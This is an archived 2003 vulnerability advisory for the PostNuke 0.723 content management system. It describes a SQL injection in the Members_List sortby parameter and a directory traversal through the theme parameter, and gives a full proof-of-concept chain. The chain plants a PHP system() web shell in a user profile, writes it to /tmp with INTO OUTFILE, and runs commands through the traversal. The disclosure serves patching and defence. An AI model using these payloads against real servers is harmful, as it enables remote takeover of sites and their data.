

[VulnWatch] Postnuke v 0.723 SQL injection and directory traversing

Source: <http://www.derkeiler.com/Mailing-Lists/VulnWatch/2003-03/0013.html>

From: saleh@surat.scan-associates.net

Date: 03/09/03

Date: Sun, 9 Mar 2003 16:18:28 +0800 (MYT)

From: saleh@surat.scan-associates.net

To: bugtraq@securityfocus.org

Products: Postnuke v 0.723 (<http://www.postnuke.com>)

Date: 09 March 2003

Author: pokleyzz <pokleyzz_at_scan-associates.net>

Contributors: sk_at_scan-associates.net

shaharil_at_scan-associates.net

munir_at_scan-associates.net

URL: <http://www.scan-associates.net>

Summary: Postnuke v 0.723 SQL injection and directory traversing

Description

=====

Postnuke is Web Content Management System written in PHP and using mysql as database backend.

Details

=====

There is multiple vulnerabilities in Postnuke v 0.723 as described below.

1) SQL Injection in Members_List module

There is lack in error checking in \$sortby variable which is stripslashes.

This variable is used as SQL query to select postnuke member list.

ex:

```
http://[postnuke
site]/modules.php?op=modload&name=Members_List&file=index&letter=[username]&sortby=[sql
query]
```

2) Directory traversing through \$theme variable

Attacker may include file any file named theme.php

VulnWatch: [VulnWatch] Postnuke v 0.723 SQL injection and directory traversing

ex:

[http://\[postnuke site\]/index.php?theme=../../../../../../../../tmp](http://[postnuke site]/index.php?theme=../../../../../../../../tmp)

Vendor Response

=====

Vendor has been contacted on 24/02/2003 and fix is available from

<http://www.postnuke.com>

<http://news.postnuke.com/modules.php?op=modload&name=News&file=article&sid=2378>

Proof of concept

=====

Postnuke remote command execution

requirement:

- PostNuke v0.723 maybe other
- PostNuke user
- Mysql user must have permission to select into outfile (FILE_PREV)

1) Register as postnuke user.

2) Login as user you just registered. After login change your "Real name" to something like "<?system(\$HTTP_GET_VARS[cmd])?>" or just "<?system(\$cmd)?>"

3) Sql injection in "Members_List" modules.
Select user information into /tmp/theme.php

[http://\[postnuke site\]/modules.php?op=modload&name=Members_List&file=index&letter=\[your username\]&sortby=uname+into+outfile+ '/tmp/theme.php'%23](http://[postnuke site]/modules.php?op=modload&name=Members_List&file=index&letter=[your username]&sortby=uname+into+outfile+ '/tmp/theme.php'%23)

4) Directory traversing in \$theme variable
Run command on server

[http://\[postnuke site\]/index.php?theme=../../../../../../../../tmp&cmd=\[command\]](http://[postnuke site]/index.php?theme=../../../../../../../../tmp&cmd=[command])